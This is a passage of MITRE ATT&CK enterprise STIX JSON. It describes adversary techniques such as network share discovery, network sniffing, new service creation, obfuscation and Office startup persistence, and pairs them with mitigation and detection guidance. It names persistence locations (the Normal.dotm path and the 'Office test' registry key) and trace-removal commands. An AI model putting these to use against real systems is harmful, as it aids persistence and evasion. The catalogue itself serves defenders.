            "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
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                    "source_name": "mitre-attack",
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                "Packet capture",
                "Process command-line parameters",
                "Process use of network"
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                "User",
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                "SYSTEM"
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            "x_mitre_platforms": [
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                "macOS",
                "Windows"
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            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Network Share Connection Removal Mitigation",
            "description": "Follow best practices for mitigation of activity related to establishing Windows Admin Shares. \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1126",
                    "external_id": "T1126"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:38.350Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Network Share Connection Removal",
            "description": "Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)\n\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation.\n\nDetection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Established network share connection to a remote system. Level of access depends on permissions of the account used.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            ],
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1126",
                    "external_id": "T1126"
                },
                {
                    "source_name": "Technet Net Use",
                    "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
                    "url": "https://technet.microsoft.com/bb490717.aspx"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                "Process command-line parameters",
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            "x_mitre_permissions_required": [
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            ],
            "x_mitre_defense_bypassed": [
                "Host forensic analysis"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Established network share connection to a remote system. Level of access depends on permissions of the account used."
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Network Share Discovery Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1135",
                    "external_id": "T1135"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Network Share Discovery",
            "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n===Windows===\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)\n\nNet can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.\n\n===Mac===\n\nOn Mac, locally mounted shares can be viewed with the <code>df -aH</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network\n\nPermissions Required: User",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1135",
                    "external_id": "T1135"
                },
                {
                    "source_name": "Wikipedia Shared Resource",
                    "description": "Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Shared%20resource"
                },
                {
                    "source_name": "TechNet Shared Folder",
                    "description": "Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.",
                    "url": "https://technet.microsoft.com/library/cc770880.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_data_sources": [
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                "Network protocol analysis",
                "Process use of network"
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            "x_mitre_platforms": [
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                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Network Sniffing Mitigation",
            "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1040",
                    "external_id": "T1040"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
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            "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:41.399Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Network Sniffing",
            "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\n\nUser credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning, can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nDetection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network device logs, Host network interface, Netflow/Enclave netflow\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Network interface access and packet capture driver",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1040",
                    "external_id": "T1040"
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            ],
            "x_mitre_permissions_required": [
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            ],
            "x_mitre_platforms": [
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                "Windows"
            ],
            "x_mitre_system_requirements": [
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            "spec_version": "2.1",
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            "x_mitre_version": "1.0"
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        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "New Service Mitigation",
            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only  authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1050",
                    "external_id": "T1050"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:45.613Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "New Service",
            "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.\n\nDetection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1050",
                    "external_id": "T1050"
                },
                {
                    "source_name": "TechNet Services",
                    "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Windows Registry",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_effective_permissions": [
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:32.662Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Obfuscated Files or Information",
            "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system. This is common behavior that can be used across different platforms to evade defenses. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis)\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering\n\nDefense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1027",
                    "external_id": "T1027"
                },
                {
                    "source_name": "Linux/Cdorked.A We Live Security Analysis",
                    "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.",
                    "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Network protocol analysis",
                "Process use of network",
                "Binary file metadata",
                "File monitoring",
                "Malware reverse engineering"
            ],
            "x_mitre_defense_bypassed": [
                "Host forensic analysis",
                "Signature-based detection",
                "Host intrusion prevention systems"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Office Application Startup Mitigation",
            "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)\n\nFor the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1137",
                    "external_id": "T1137"
                },
                {
                    "source_name": "MRWLabs Office Persistence Add-ins",
                    "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.",
                    "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"
                },
                {
                    "source_name": "TechNet Office Macro Security",
                    "description": "Microsoft Malware Protection Center. (2016, March 22). New feature in Office 2016 can block macros and help prevent infection. Retrieved July 3, 2017.",
                    "url": "https://blogs.technet.microsoft.com/mmpc/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/"
                },
                {
                    "source_name": "Palo Alto Office Test Sofacy",
                    "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Office Application Startup",
            "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n===Office Template Macros===\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros)\n\nWord Normal.dotm location:<code>C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<code>C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n===Office Test===\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)\n\n<code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\n===Add-ins===\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nDetection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\nAdd-ins: some require administrator permissions\n\nContributors: Ricardo Dias, Loic Jaquemet",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1137",
                    "external_id": "T1137"
                },
                {
                    "source_name": "Microsoft Change Normal Template",
                    "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.",
                    "url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea"
                },
                {
                    "source_name": "MSDN VBA in Office",
                    "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office"
                },
                {
                    "source_name": "enigma0x3 normal.dotm",
                    "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.",
                    "url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/"
                },
                {
                    "source_name": "Hexacorn Office Template Macros",
                    "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.",
                    "url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/"
                },
                {
                    "source_name": "Hexacorn Office Test",
                    "description": "Hexacorn. (2014, April 16). Beyond good ol\u2019 Run key, Part 10. Retrieved July 3, 2017.",
                    "url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/"
                },
                {
                    "source_name": "Microsoft Office Add-ins",
                    "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.",
                    "url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460"
                },
                {
                    "source_name": "MRWLabs Office Persistence Add-ins",
                    "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.",
                    "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_contributors": [
                "Ricardo Dias",
                "Loic Jaquemet"
            ],
            "x_mitre_data_sources": [
                "Process monitoring",
                "Process command-line parameters",
